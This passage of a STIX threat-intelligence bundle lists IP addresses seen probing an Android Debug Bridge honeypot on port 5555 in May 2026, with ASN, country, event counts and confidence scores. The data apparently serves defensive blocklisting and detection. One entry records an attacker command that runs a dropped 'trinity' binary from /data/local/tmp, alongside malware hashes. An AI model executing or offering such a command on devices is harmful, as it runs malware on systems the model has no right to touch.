            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=62; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=22; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=62 | first_seen=2026-05-21T08:15:26.000Z | last_seen=2026-05-21T08:31:22.876Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--5b327450-517d-443d-8d63-99da626e61dd",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.149.6.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:00:03.000Z",
      "valid_until": "2026-06-22T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 62,
          "first_seen": "2026-05-21T08:15:26.000Z",
          "last_seen": "2026-05-21T08:31:22.876Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=35 | first_seen=2026-05-21T08:20:08.000Z | last_seen=2026-05-21T08:31:10.919Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--4fc32141-e73f-4da9-b45b-ce933709b736",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.221.68.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:00:03.000Z",
      "valid_until": "2026-06-22T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 35,
          "first_seen": "2026-05-21T08:20:08.000Z",
          "last_seen": "2026-05-21T08:31:10.919Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-21T08:23:05.000Z | last_seen=2026-05-21T08:24:33.714Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:00:03.000Z",
      "valid_until": "2026-06-22T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-21T08:23:05.000Z",
          "last_seen": "2026-05-21T08:24:33.714Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-21T11:43:41.000Z | last_seen=2026-05-21T11:53:55.052Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.218.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:00:02.000Z",
      "valid_until": "2026-06-22T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-21T11:43:41.000Z",
          "last_seen": "2026-05-21T11:53:55.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-21T15:33:13.000Z | last_seen=2026-05-21T15:34:31.966Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--e7e26056-6230-4807-8535-a6b17f64c441",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:00:02.000Z",
      "valid_until": "2026-06-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-21T15:33:13.000Z",
          "last_seen": "2026-05-21T15:34:31.966Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213230; asn_org=Hetzner Online GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-21T23:57:21.000Z | last_seen=2026-05-21T23:58:27.852Z | ports=5555 | cc=US | asn=213230 | org=Hetzner Online GmbH",
      "id": "indicator--66751c46-6eec-4256-bd33-508e962890c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.161.239.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:00:03.000Z",
      "valid_until": "2026-06-23T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-21T23:57:21.000Z",
          "last_seen": "2026-05-21T23:58:27.852Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213230"
          ],
          "org": [
            "Hetzner Online GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-22T01:04:21.000Z | last_seen=2026-05-22T01:05:23.754Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5d6f2691-fbc4-48af-8e5c-9fb8b926fc3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.207.85.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:00:02.000Z",
      "valid_until": "2026-06-23T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-22T01:04:21.000Z",
          "last_seen": "2026-05-22T01:05:23.754Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=52; ports=5555; cc=DE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=2\n\nObserved in ADBHoney telemetry for 2026-05. events=52 | first_seen=2026-05-22T03:53:20.000Z | last_seen=2026-05-22T03:55:18.731Z | ports=5555 | cc=DE | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--2c677e76-18f1-4cc2-ba23-93d5d816d312",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.245.143.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:00:03.000Z",
      "valid_until": "2026-06-23T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 52,
          "first_seen": "2026-05-22T03:53:20.000Z",
          "last_seen": "2026-05-22T03:55:18.731Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-22T04:35:21.000Z | last_seen=2026-05-22T04:46:48.157Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--66704f55-6eee-494b-91e4-8b2991abcb91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:00:02.000Z",
      "valid_until": "2026-06-23T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-22T04:35:21.000Z",
          "last_seen": "2026-05-22T04:46:48.157Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=EE; asn=43357; asn_org=Owl Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-22T06:21:03.000Z | last_seen=2026-05-22T06:31:32.646Z | ports=5555 | cc=EE | asn=43357 | org=Owl Limited",
      "id": "indicator--5e115a3f-08ff-4904-87a1-9a3be0e9ca1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.127.167.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:00:03.000Z",
      "valid_until": "2026-06-23T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-22T06:21:03.000Z",
          "last_seen": "2026-05-22T06:31:32.646Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EE"
          ],
          "asn": [
            "43357"
          ],
          "org": [
            "Owl Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=134419; asn_org=Beihai; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-22T08:21:57.000Z | last_seen=2026-05-22T08:23:37.830Z | ports=5555 | cc=CN | asn=134419 | org=Beihai",
      "id": "indicator--d1c1b5e9-f1d1-4dbd-a467-d33d4c52963b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.14.101.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:00:02.000Z",
      "valid_until": "2026-06-23T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-22T08:21:57.000Z",
          "last_seen": "2026-05-22T08:23:37.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134419"
          ],
          "org": [
            "Beihai"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-22T08:41:21.000Z | last_seen=2026-05-29T02:44:00.274Z | ports=5555 | cc=DE | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d1a2b8f0-55a3-4f22-b2b8-4ff30c3ef83d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.90.246.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T09:00:02.000Z",
      "valid_until": "2026-06-23T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-22T08:41:21.000Z",
          "last_seen": "2026-05-29T02:44:00.274Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-22T11:07:28.000Z | last_seen=2026-05-22T11:08:29.237Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--744d83a4-b574-4b8c-ba43-40943ccc233c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:00:02.000Z",
      "valid_until": "2026-06-23T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-22T11:07:28.000Z",
          "last_seen": "2026-05-22T11:08:29.237Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-22T15:17:03.000Z | last_seen=2026-05-22T15:18:08.583Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3a827718-21e3-41e6-9c60-ef48af8bc7cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.223.179.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:00:02.000Z",
      "valid_until": "2026-06-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-22T15:17:03.000Z",
          "last_seen": "2026-05-22T15:18:08.583Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-22T15:56:01.000Z | last_seen=2026-05-22T15:57:06.606Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0fa778ff-e856-4112-a989-33059da1178e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.154.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:00:02.000Z",
      "valid_until": "2026-06-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-22T15:56:01.000Z",
          "last_seen": "2026-05-22T15:57:06.606Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T17:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-22T16:02:46.000Z | last_seen=2026-05-22T16:03:47.650Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6fa38376-b302-44a1-9c82-ead1f9df2947",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:00:01.000Z",
      "valid_until": "2026-06-23T17:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
